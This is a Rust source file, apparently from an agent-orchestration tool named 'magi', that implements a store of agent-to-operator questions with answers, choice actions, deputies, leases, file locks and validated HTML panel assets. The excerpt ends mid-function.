1#[cfg(test)]
33thread_local! {
34 pub(crate) static QUESTION_SCANS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
35}
36
37use std::path::{Path, PathBuf};
38use std::time::Duration;
39
40use anyhow::{Context, Result, bail};
41use jiff::Timestamp;
42use serde::{Deserialize, Serialize};
43
44use crate::config;
45use crate::proc::Quiet as _;
46use crate::run::RunStatus;
47
48pub const SCHEMA: u32 = 13;
71
72const POLL: Duration = Duration::from_secs(3);
81
82const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
93
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
100
101const WAIT_SLICE: Duration = Duration::from_secs(240);
125
126pub const LEASE_TTL: Duration = Duration::from_secs(90);
136
137const LOCK_STALE: Duration = Duration::from_secs(10);
140
141pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
152
153pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
162
163const PANEL_DIR: &str = ".panel";
169
170const PANEL_HTML: &str = "index.html";
172
173const PANEL_TMP: &str = ".panel.tmp";
175
176pub fn valid_asset_name(name: &str) -> bool {
193 if name.is_empty() || name.len() > 64 || name.contains("..") {
194 return false;
195 }
196 let mut chars = name.chars();
197 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
198 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
199}
200
201#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
203#[serde(rename_all = "lowercase")]
204pub enum QuestionStatus {
205 Open,
207 Answered,
209 Abandoned,
213}
214
215impl QuestionStatus {
216 pub fn open(self) -> bool {
218 matches!(self, Self::Open)
219 }
220
221 pub fn as_str(self) -> &'static str {
223 match self {
224 Self::Open => "open",
225 Self::Answered => "answered",
226 Self::Abandoned => "abandoned",
227 }
228 }
229}
230
231#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
238#[serde(rename_all = "lowercase")]
239pub enum Answer {
240 Choice(String),
242 Text(String),
244}
245
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
254#[serde(tag = "do", rename_all = "lowercase")]
255pub enum ChoiceAction {
256 Resume {
258 run: String,
260 },
261 RecoverBase {
263 run: String,
265 stop: crate::chat_control::BaseRecoveryStop,
267 episode: usize,
269 },
270 ResumeRun {
272 run: String,
274 },
275 ReleaseTask {
277 task: String,
279 held_at: jiff::Timestamp,
281 reason: Option<String>,
283 },
284 RerunChecks {
286 repo: PathBuf,
288 pr: String,
290 head: String,
292 runs: Vec<String>,
294 },
295 AbandonRun {
297 run: String,
299 },
300 Requeue,
302 Hold,
304 Done,
306}
307
308impl ChoiceAction {
309 pub fn maintenance(&self) -> bool {
311 matches!(
312 self,
313 Self::RecoverBase { .. }
314 | Self::ResumeRun { .. }
315 | Self::ReleaseTask { .. }
316 | Self::RerunChecks { .. }
317 | Self::AbandonRun { .. }
318 )
319 }
320
321 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
326 let split = spec
327 .find("={")
328 .map(|at| (&spec[..at], &spec[at + 1..]))
329 .or_else(|| spec.rsplit_once('='));
330 let Some((label, verb)) = split else {
331 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
332 };
333 let label = label.trim();
334 if label.is_empty() {
335 bail!("`--action {spec}` names no choice before `=`");
336 }
337 let verb = verb.trim();
338 if verb.starts_with('{') {
339 let action = serde_json::from_str(verb).context("parse typed choice action")?;
340 return Ok((label.to_owned(), action));
341 }
342 let action = match verb.split_once(':') {
343 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
344 run: run.trim().into(),
345 },
346 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
347 run: run.trim().into(),
348 },
349 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
350 run: run.trim().to_owned(),
351 },
352 None if verb == "resume" => {
353 if default_run.is_empty() {
354 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
355 }
356 Self::Resume {
357 run: default_run.to_owned(),
358 }
359 }
360 None if verb == "requeue" => Self::Requeue,
361 None if verb == "hold" => Self::Hold,
362 None if verb == "done" => Self::Done,
363 _ => bail!(
364 "unknown action `{verb}` in `--action {spec}`; \
365 use resume[:<run>], requeue, hold or done"
366 ),
367 };
368 Ok((label.to_owned(), action))
369 }
370
371 pub fn matches_alias(&self, input: &str) -> bool {
374 let input = input.trim();
375 match self {
376 Self::Resume { run } => {
377 [
378 "resume",
379 "resume run",
380 "resume-run",
381 "再開",
382 "実行再開",
383 "実行を再開",
384 "実行を再開する",
385 ]
386 .iter()
387 .any(|alias| input.eq_ignore_ascii_case(alias))
388 || [
389 format!("resume {run}"),
390 format!("resume:{run}"),
391 format!("resume run {run}"),
392 format!("resume {}", short(run)),
393 format!("resume run {}", short(run)),
394 ]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias))
397 }
398 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
399 .iter()
400 .any(|alias| input.eq_ignore_ascii_case(alias)),
401 _ => false,
402 }
403 }
404
405 pub fn describe(&self) -> String {
407 match self {
408 Self::Resume { run } => format!("resume run {}", short(run)),
409 Self::RecoverBase { run, .. } => format!(
410 "authorize bounded base recovery and queue run {}",
411 short(run)
412 ),
413 Self::ResumeRun { run } => format!("resume run {}", short(run)),
414 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
415 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
416 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
417 Self::Requeue => "requeue the task".to_owned(),
418 Self::Hold => "hold the task until the operator releases it".to_owned(),
419 Self::Done => "mark the task done".to_owned(),
420 }
421 }
422}
423
424pub fn parse_actions(
427 specs: &[String],
428 choices: &[String],
429 default_run: &str,
430) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
431 let mut out = std::collections::BTreeMap::new();
432 for spec in specs {
433 let (label, action) = ChoiceAction::parse(spec, default_run)?;
434 if !choices.contains(&label) {
435 bail!(
436 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
437 choices.join(", ")
438 );
439 }
440 if out.insert(label.clone(), action).is_some() {
441 bail!("more than one --action for `{label}`");
442 }
443 }
444 Ok(out)
445}
446
447#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
458#[serde(rename_all = "lowercase")]
459pub enum Who {
460 Operator,
462 Agent,
465}
466
467#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
475#[serde(deny_unknown_fields)]
476pub struct Turn {
477 pub who: Who,
479 pub body: String,
481 pub at: Timestamp,
483 #[serde(default, skip_serializing_if = "Option::is_none")]
488 pub note: Option<String>,
489}
490
491#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
493#[serde(rename_all = "lowercase")]
494pub enum WaiterKind {
495 Asker,
497 Daemon,
500 Deputy,
504}
505
506#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
518pub struct Deputy {
519 pub brief: String,
522 #[serde(default)]
524 pub agent: String,
525 #[serde(default)]
527 pub seat: Option<crate::agent::SeatState>,
528 #[serde(default)]
531 pub starts: u32,
532}
533
534impl Deputy {
535 pub fn new(brief: String) -> Self {
537 Self {
538 brief,
539 agent: String::new(),
540 seat: None,
541 starts: 0,
542 }
543 }
544}
545
546pub fn deputy_seat_key(id: &str) -> String {
548 format!("deputy-{}", short(id))
549}
550
551#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
556pub struct Waiter {
557 pub kind: WaiterKind,
559 pub since: Timestamp,
561}
562
563#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
572pub struct Lease {
573 pub kind: WaiterKind,
575 pub pid: u32,
577 pub beat_at: Timestamp,
579}
580
581impl Lease {
582 pub fn fresh(&self, now: Timestamp) -> bool {
584 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
585 }
586}
587
588#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
590#[serde(deny_unknown_fields)]
591pub struct Question {
592 pub schema: u32,
594 pub id: String,
597 pub run: String,
599 pub node: String,
601 pub seat: String,
604 pub summary: String,
607 pub detail: String,
610 #[serde(default, skip_serializing_if = "Option::is_none")]
612 pub posting_comparison: Option<crate::github_text::PostingComparison>,
613 pub choices: Vec<String>,
617 #[serde(default)]
619 pub merge_target: Option<crate::merge_decision::Target>,
620 #[serde(default)]
622 pub routed_task: Option<String>,
623 #[serde(default, skip_serializing_if = "std::ops::Not::not")]
626 pub legacy_foreground: bool,
627 #[serde(default)]
629 pub routed_chat: Option<String>,
630 #[serde(default, skip_serializing_if = "Option::is_none")]
633 pub publication_title: Option<String>,
634 #[serde(default)]
638 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
639 #[serde(default)]
646 pub panel: bool,
647 #[serde(default)]
654 pub assets: Vec<String>,
655 pub status: QuestionStatus,
657 pub asked_at: Timestamp,
659 #[serde(default)]
661 pub triage_generation: Option<u64>,
662 pub answered_at: Option<Timestamp>,
664 #[serde(default, skip_serializing_if = "Option::is_none")]
667 pub accepted_answer_at: Option<Timestamp>,
668 pub answer: Option<Answer>,
670 #[serde(default)]
679 pub thread: Vec<Turn>,
680 #[serde(default)]
695 pub answer_timeout: u64,
696 #[serde(default)]
702 pub cwd: Option<String>,
703 #[serde(default)]
705 pub waiter: Option<Waiter>,
706 #[serde(default)]
710 pub delivered_turns: usize,
711 #[serde(default)]
714 pub answer_delivered: bool,
715 #[serde(default)]
718 pub deputy: Option<Deputy>,
719 #[serde(default)]
723 pub consult: Option<ChatConsult>,
724 #[serde(default, skip_serializing_if = "Option::is_none")]
730 pub answer_authority: Option<LegacyAnswerAuthority>,
731 #[serde(default, skip_serializing_if = "Option::is_none")]
733 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
734 #[serde(default)]
737 pub decision_context: Option<String>,
738}
739
740#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
742pub struct ChatConsult {
743 pub talk: String,
745 pub at: Timestamp,
747}
748
749#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
753pub struct LegacyAnswerAuthority {
754 pub question: String,
756 pub choice: String,
758 pub instruction: String,
760}
761
762impl Question {
763 pub fn run_names_task(&self) -> bool {
766 matches!(
767 self.node.as_str(),
768 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
769 )
770 }
771
772 pub fn new(
775 run: String,
776 node: String,
777 seat: String,
778 summary: String,
779 detail: String,
780 choices: Vec<String>,
781 ) -> Self {
782 Self {
783 schema: SCHEMA,
784 id: new_id(),
785 run,
786 node,
787 seat,
788 summary,
789 detail,
790 posting_comparison: None,
791 choices,
792 merge_target: None,
793 routed_task: None,
794 legacy_foreground: false,
795 routed_chat: None,
796 publication_title: None,
797 actions: std::collections::BTreeMap::new(),
798 panel: false,
799 assets: Vec::new(),
800 status: QuestionStatus::Open,
801 asked_at: Timestamp::now(),
802 triage_generation: None,
803 answered_at: None,
804 accepted_answer_at: None,
805 answer: None,
806 thread: Vec::new(),
807 answer_timeout: 0,
808 cwd: None,
809 waiter: None,
810 delivered_turns: 0,
811 answer_delivered: false,
812 deputy: None,
813 consult: None,
814 answer_authority: None,
815 consult_outcome: None,
816 decision_context: None,
817 }
818 }
819
820 pub fn short(&self) -> &str {
822 short(&self.id)
823 }
824
825 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
828 match (&self.status, &self.answer) {
829 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
830 _ => None,
831 }
832 }
833
834 pub fn free_text(&self) -> bool {
836 self.choices.is_empty()
837 }
838
839 pub fn reply_guidance(&self) -> String {
842 self.choices
843 .iter()
844 .map(|label| {
845 let aliases: Vec<_> = ["resume-run", "keep-held"]
846 .into_iter()
847 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
848 .collect();
849 let exact = serde_json::to_string(label).expect("serialize label");
850 let reply = if aliases.is_empty() {
851 format!("exact label: {exact}")
852 } else {
853 format!(
854 "exact label: {exact}; accepted aliases: {}",
855 aliases.join(", ")
856 )
857 };
858 match self.actions.get(label) {
859 Some(action) => {
860 format!("{reply}; effect (not reply text): {}", action.describe())
861 }
862 None => reply,
863 }
864 })
865 .collect::<Vec<_>>()
866 .join("\n")
867 }
868
869 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
872 if self.free_text() || self.choices.iter().any(|c| c == reply) {
873 return Ok(reply);
874 }
875 if ChoiceAction::Hold.matches_alias(reply)
876 && let Some(label) = self
877 .choices
878 .iter()
879 .find(|label| crate::triage::contextual_keep_held(self, label))
880 {
881 return Ok(label);
882 }
883 let matches: Vec<_> = self
884 .actions
885 .iter()
886 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
887 .collect();
888 match matches.as_slice() {
889 [(label, _)] => Ok(label.as_str()),
890 [] => bail!(
891 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
892 serde_json::to_string(&self.choices).expect("serialize labels")
893 ),
894 _ => bail!(
895 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
896 ),
897 }
898 }
899
900 pub fn answer(&mut self, answer: Answer) -> Result<()> {
910 self.answer_inner(answer)
911 }
912
913 pub fn can_answer(&self) -> bool {
915 self.status.open()
916 }
917
918 pub(crate) fn answer_chat_button(
920 &mut self,
921 answer: Answer,
922 talk: &str,
923 head: &str,
924 ) -> Result<()> {
925 anyhow::ensure!(
926 self.routed_chat.as_deref() == Some(talk),
927 "wrong approval chat"
928 );
929 anyhow::ensure!(
930 self.merge_target.as_ref().is_some_and(|t| t.head == head),
931 "stale approval head"
932 );
933 self.answer_inner(answer)
934 }
935
936 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
937 match (self.can_answer(), self.status) {
938 (false, QuestionStatus::Answered) => bail!(
939 "question {} was already answered; the run has moved on and a \
940 second answer would be a decision nobody acted on",
941 self.short()
942 ),
943 (false, QuestionStatus::Abandoned) => bail!(
944 "question {} was abandoned and the run behind it is gone",
945 self.short()
946 ),
947 _ => {}
948 }
949 let body = match &answer {
950 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
951 };
952 if body.trim().is_empty() {
953 bail!(
954 "question {} needs an answer; an empty one tells the agent \
955 nothing and it would guess anyway",
956 self.short()
957 );
958 }
959 match &answer {
960 Answer::Choice(c) if self.free_text() => bail!(
961 "question {} asks for free text, so `{c}` cannot be a choice \
962 it offered",
963 self.short()
964 ),
965 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
966 "`{c}` is not one of the choices question {} offers: {}",
967 self.short(),
968 self.choices.join(", ")
969 ),
970 Answer::Text(_) if !self.free_text() => bail!(
971 "question {} is multiple choice; answer with one of: {}",
972 self.short(),
973 self.choices.join(", ")
974 ),
975 _ => {}
976 }
977 if body.eq_ignore_ascii_case(crate::land::HOLD)
980 && self
981 .actions
982 .get(body)
983 .is_some_and(|a| *a != ChoiceAction::Hold)
984 {
985 bail!("hold cannot execute a question action");
986 }
987 self.answered_at = Some(Timestamp::now());
988 self.answer = Some(answer);
989 self.status = QuestionStatus::Answered;
990 Ok(())
991 }
992
993 pub fn abandon(&mut self, why: impl Into<String>) {
1005 if !self.status.open() {
1006 return;
1007 }
1008 self.status = QuestionStatus::Abandoned;
1009 let why = why.into();
1010 let why = why.trim();
1011 if why.is_empty() {
1012 return;
1013 }
1014 if !self.detail.is_empty() {
1015 self.detail.push('\n');
1016 }
1017 self.detail.push_str("\n_Abandoned: ");
1018 self.detail.push_str(why);
1019 self.detail.push_str("._\n");
1020 }
1021
1022 pub fn resolution(&self) -> Option<String> {
1029 match (self.status, &self.answer) {
1030 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1031 Some(a.clone())
1032 }
1033 _ => None,
1034 }
1035 }
1036
1037 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1049 if self.routed_task.is_some() {
1050 bail!("task decisions are handled by the task chat, not a deputy");
1051 }
1052 let Some(deputy) = &self.deputy else {
1053 bail!("question {} has no deputy", self.short());
1054 };
1055 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1056 if own != Some(seat) {
1057 bail!("only the deputy of question {} may settle it", self.short());
1058 }
1059 if !self.choices.iter().any(|c| c == label) {
1060 bail!(
1061 "`{label}` is not one of the choices offered on question {}",
1062 self.short()
1063 );
1064 }
1065 self.answer(Answer::Choice(label.to_owned()))?;
1066 self.thread.push(Turn {
1067 who: Who::Agent,
1068 body: format!("Settled as `{label}` on the owner's words."),
1069 at: Timestamp::now(),
1070 note: note
1071 .map(str::trim)
1072 .filter(|n| !n.is_empty())
1073 .map(str::to_owned),
1074 });
1075 self.delivered_turns = self.thread.len();
1076 Ok(())
1077 }
1078
1079 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1090 match self.status {
1091 QuestionStatus::Answered => bail!(
1092 "question {} was already answered; there is nothing left to \
1093 discuss",
1094 self.short()
1095 ),
1096 QuestionStatus::Abandoned => bail!(
1097 "question {} was abandoned and the run behind it is gone",
1098 self.short()
1099 ),
1100 QuestionStatus::Open => {}
1101 }
1102 let body = body.into();
1103 if body.trim().is_empty() {
1104 bail!("a message to question {} cannot be empty", self.short());
1105 }
1106 self.thread.push(Turn {
1107 who: Who::Operator,
1108 body,
1109 at: Timestamp::now(),
1110 note: None,
1111 });
1112 Ok(())
1113 }
1114
1115 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1125 match self.status {
1126 QuestionStatus::Answered => bail!(
1127 "question {} was already answered; replying now would not \
1128 reach anyone",
1129 self.short()
1130 ),
1131 QuestionStatus::Abandoned => bail!(
1132 "question {} was abandoned and the run behind it is gone",
1133 self.short()
1134 ),
1135 QuestionStatus::Open => {}
1136 }
1137 let body = body.into();
1138 if body.trim().is_empty() {
1139 bail!("a reply to question {} cannot be empty", self.short());
1140 }
1141 self.actions.retain(|label, _| choices.contains(label));
1143 self.choices = choices;
1144 let unread = self.unread_from_owner().is_some();
1145 self.thread.push(Turn {
1146 who: Who::Agent,
1147 body,
1148 at: Timestamp::now(),
1149 note: None,
1150 });
1151 if !unread {
1155 self.delivered_turns = self.thread.len();
1156 }
1157 Ok(())
1158 }
1159
1160 pub fn unread_from_owner(&self) -> Option<String> {
1167 if !self.status.open() {
1168 return None;
1169 }
1170 let said = self.undelivered_owner_turns();
1171 (!said.is_empty()).then(|| said.join("\n\n"))
1172 }
1173
1174 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1180 let from = self.delivered_turns.min(self.thread.len());
1181 self.thread[from..]
1182 .iter()
1183 .filter(|t| t.who == Who::Operator)
1184 .map(|t| t.body.as_str())
1185 .collect()
1186 }
1187
1188 pub fn last_activity(&self) -> i64 {
1192 self.thread
1193 .iter()
1194 .map(|t| t.at.as_second())
1195 .max()
1196 .unwrap_or(0)
1197 .max(self.asked_at.as_second())
1198 }
1199
1200 pub fn waiting_on_agent(&self) -> bool {
1209 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1210 }
1211
1212 fn should_notify(&self, now: Timestamp) -> bool {
1220 let Some(last) = self
1221 .thread
1222 .iter()
1223 .rev()
1224 .find(|t| t.who == Who::Operator)
1225 .map(|t| t.at)
1226 else {
1227 return true;
1228 };
1229 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1230 }
1231}
1232
1233#[derive(Debug, Clone)]
1235pub struct Questions {
1236 root: PathBuf,
1237}
1238
1239struct QuestionUnlock(PathBuf);
1240
1241impl Drop for QuestionUnlock {
1242 fn drop(&mut self) {
1243 let _ = std::fs::remove_file(&self.0);
1244 }
1245}
1246
1247fn question_lock_stale(path: &Path) -> bool {
1248 std::fs::metadata(path)
1249 .and_then(|m| m.modified())
1250 .ok()
1251 .and_then(|t| t.elapsed().ok())
1252 .is_some_and(|age| age > LOCK_STALE)
1253}
1254
1255impl Questions {
1256 pub fn open() -> Self {
1258 Self::at(crate::run::home().join("questions"))
1259 }
1260
1261 pub fn at(root: PathBuf) -> Self {
1264 Self { root }
1265 }
1266
1267 pub fn root(&self) -> &Path {
1269 &self.root
1270 }
1271
1272 pub fn path_of(&self, id: &str) -> PathBuf {
1274 self.root.join(format!("{id}.json"))
1275 }
1276
1277 pub fn panel_dir(&self, id: &str) -> PathBuf {
1279 self.root.join(format!("{id}{PANEL_DIR}"))
1280 }
1281
1282 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1306 if !valid_asset_name(&q.id) {
1307 bail!(
1308 "question id `{}` is not a name magi will build a panel path from",
1309 q.id
1310 );
1311 }
1312 if html.trim().is_empty() {
1313 bail!(
1314 "question {} was handed an empty panel; an empty frame reads to \
1315 the owner as \"the agent had nothing to say\", which is a lie",
1316 q.short()
1317 );
1318 }
1319
1320 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1323 for src in assets {
1324 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1325 if !valid_asset_name(name) {
1326 bail!(
1327 "panel asset `{}` cannot be stored: a panel file name must \
1328 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1329 src.display()
1330 );
1331 }
1332 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1333 bail!(
1334 "two panel assets are both named `{name}` - {} and {} - and \
1335 the panel can only show one of them; rename one at the source",
1336 first.display(),
1337 src.display()
1338 );
1339 }
1340 named.push((name.to_owned(), src.as_path()));
1341 }
1342
1343 let mut total = html.len() as u64;
1344 for (_, src) in &named {
1345 let meta = std::fs::metadata(src)
1346 .with_context(|| format!("stat panel asset {}", src.display()))?;
1347 if !meta.is_file() {
1348 bail!(
1349 "panel asset `{}` is not a file; a panel is html plus files \
1350 copied beside it",
1351 src.display()
1352 );
1353 }
1354 total = total.saturating_add(meta.len());
1355 }
1356 if total > PANEL_MAX_BYTES {
1357 bail!(
1358 "panel for question {} is {total} bytes, over magi's cap of \
1359 {PANEL_MAX_BYTES} bytes; nothing was written",
1360 q.short()
1361 );
1362 }
1363
1364 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1365 let dir = self.panel_dir(&q.id);
1366 std::fs::create_dir_all(&self.root)
1367 .with_context(|| format!("create {}", self.root.display()))?;
1368 clear_dir(&tmp)?;
1369 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1370 if let Err(e) = fill_panel(&tmp, html, &named) {
1371 let _ = std::fs::remove_dir_all(&tmp);
1374 return Err(e);
1375 }
1376 clear_dir(&dir)?;
1377 std::fs::rename(&tmp, &dir)
1378 .with_context(|| format!("move panel into {}", dir.display()))?;
1379
1380 q.panel = true;
1381 q.assets = named.into_iter().map(|(n, _)| n).collect();
1382 q.assets.sort_unstable();
1383 Ok(())
1384 }
1385
1386 pub fn panel_html(&self, id: &str) -> Option<String> {
1392 if !valid_asset_name(id) {
1393 return None;
1394 }
1395 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1396 }
1397
1398 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1409 if !valid_asset_name(name) {
1410 bail!(
1411 "`{name}` is not a panel file name; it must match \
1412 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1413 );
1414 }
1415 if !valid_asset_name(id) {
1416 return Ok(None);
1417 }
1418 let dir = self.panel_dir(id);
1419 if !dir.is_dir() {
1420 return Ok(None);
1421 }
1422 let path = dir.join(name);
1423 match std::fs::read(&path) {
1424 Ok(bytes) => Ok(Some(bytes)),
1425 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1426 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1427 }
1428 }
1429
1430 pub fn drop_panel(&self, id: &str) -> Result<()> {
1439 if !valid_asset_name(id) {
1440 bail!("question id `{id}` is not a name magi will build a panel path from");
1441 }
1442 clear_dir(&self.panel_dir(id))?;
1443 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1444 }
1445
1446 pub fn lease_path(&self, id: &str) -> PathBuf {
1448 self.root.join(format!("{id}.lease"))
1449 }
1450
1451 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1453 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1454 serde_json::from_str(&body).ok()
1455 }
1456
1457 pub fn beat(&self, id: &str, kind: WaiterKind) {
1464 let lease = Lease {
1465 kind,
1466 pid: std::process::id(),
1467 beat_at: Timestamp::now(),
1468 };
1469 let path = self.lease_path(id);
1470 let tmp = path.with_extension("lease.tmp");
1471 let written = std::fs::create_dir_all(&self.root)
1472 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1473 .and_then(|()| std::fs::rename(&tmp, &path));
1474 if let Err(e) = written {
1475 tracing::debug!("could not beat the lease on question {id}: {e}");
1476 }
1477 }
1478
1479 pub fn drop_lease(&self, id: &str) {
1481 let _ = std::fs::remove_file(self.lease_path(id));
1482 }
1483
1484 pub fn update<T>(
1495 &self,
1496 id: &str,
1497 f: impl FnOnce(&mut Question) -> Result<T>,
1498 ) -> Result<(Question, T)> {
1499 self.update_in(id, &crate::task_chat::InquiryOwnership::default(), f)
1500 }
1501
1502 pub(crate) fn update_in<T>(
1503 &self,
1504 id: &str,
1505 ownership: &crate::task_chat::InquiryOwnership,
1506 f: impl FnOnce(&mut Question) -> Result<T>,
1507 ) -> Result<(Question, T)> {
1508 std::fs::create_dir_all(&self.root)
1509 .with_context(|| format!("create {}", self.root.display()))?;
1510 let lock = self.root.join(format!("{id}.lock"));
1511 let started = std::time::Instant::now();
1512 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1513 loop {
1514 match retry.create(&lock) {
1515 Ok(_) => break,
1516 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1517 if question_lock_stale(&lock) {
1518 let _ = std::fs::remove_file(&lock);
1519 } else if started.elapsed() > LOCK_STALE {
1520 bail!("could not lock question {id}");
1521 } else {
1522 std::thread::sleep(Duration::from_millis(15));
1523 }
1524 }
1525 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1526 }
1527 }
1528 let _guard = QuestionUnlock(lock);
1529 let mut q = read_path(&self.path_of(id))?;
1530 let effective_dismissal = |q: &Question| {
1531 q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1532 && !self.root.parent().is_some_and(|home| {
1533 crate::task_chat::migrated_source_in(home, &q.id, ownership)
1534 && crate::task_chat::source_reply_needs_confirmation(home, q)
1535 })
1536 };
1537 let was_dismissed = effective_dismissal(&q);
1538 let prior_answer = (q.answered_at, q.resolution());
1539 let out = f(&mut q)?;
1540 if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1541 let home = self.root.parent().context("question store has no home")?;
1542 anyhow::ensure!(
1543 !crate::task_chat::source_retired(home, &q.id),
1544 "approval target is obsolete; no effect remains necessary"
1545 );
1546 q.accepted_answer_at = q.answered_at;
1547 crate::task_chat::accept_fresh_reply(home, &q, ownership)?;
1548 }
1549 if !was_dismissed && effective_dismissal(&q) {
1550 let home = self.root.parent().context("question store has no home")?;
1551 crate::merge_decision::dismiss(home, &q)?;
1552 }
1553 self.put_in(&mut q, ownership)?;
1554 Ok((q, out))
1555 }
1556
1557 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1560 self.put_executable_in(q, &crate::task_chat::InquiryOwnership::default())
1561 }
1562
1563 pub(crate) fn put_executable_in(
1564 &self,
1565 q: &mut Question,
1566 ownership: &crate::task_chat::InquiryOwnership,
1567 ) -> Result<()> {
1568 anyhow::ensure!(
1569 q.actions.keys().all(|c| q.choices.contains(c)),
1570 "question action names an unoffered choice"
1571 );
1572 for label in &q.choices {
1573 anyhow::ensure!(
1574 crate::choice_effect::describe(q, label).is_some(),
1575 "question node {} offers an unsupported choice: {label}",
1576 q.node
1577 );
1578 }
1579 self.put_in(q, ownership)
1580 }
1581
1582 pub fn put(&self, q: &mut Question) -> Result<()> {
1586 self.put_in(q, &crate::task_chat::InquiryOwnership::default())
1587 }
1588
1589 pub(crate) fn put_in(
1590 &self,
1591 q: &mut Question,
1592 ownership: &crate::task_chat::InquiryOwnership,
1593 ) -> Result<()> {
1594 if self.path_of(&q.id).exists()
1595 && let Ok(saved) = self.read_history(&q.id)
1596 && self.held_reply_in(&q.id, ownership)
1597 && (saved.status != q.status
1598 || saved.answer != q.answer
1599 || saved.answered_at != q.answered_at)
1600 && !(q.answer.is_some()
1601 && q.accepted_answer_at.is_some()
1602 && q.accepted_answer_at == q.answered_at)
1603 {
1604 bail!(
1605 "historical question {} requires inquiry reconciliation or explicit settlement; its saved reply cannot expire or be overwritten",
1606 q.id
1607 );
1608 }
1609 if q.status.open()
1610 && q.routed_task.is_none()
1611 && let Some(home) = self.root.parent()
1612 {
1613 q.routed_task = ownership
1614 .task_of(home, q)
1615 .filter(|_| crate::task_chat::chat_routable(q));
1616 }
1617 std::fs::create_dir_all(&self.root)
1618 .with_context(|| format!("create {}", self.root.display()))?;
1619 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1620 let path = self.path_of(&q.id);
1621 let tmp = path.with_extension("json.tmp");
1622 let is_new = !path.exists();
1623 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1624 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1625 if is_new
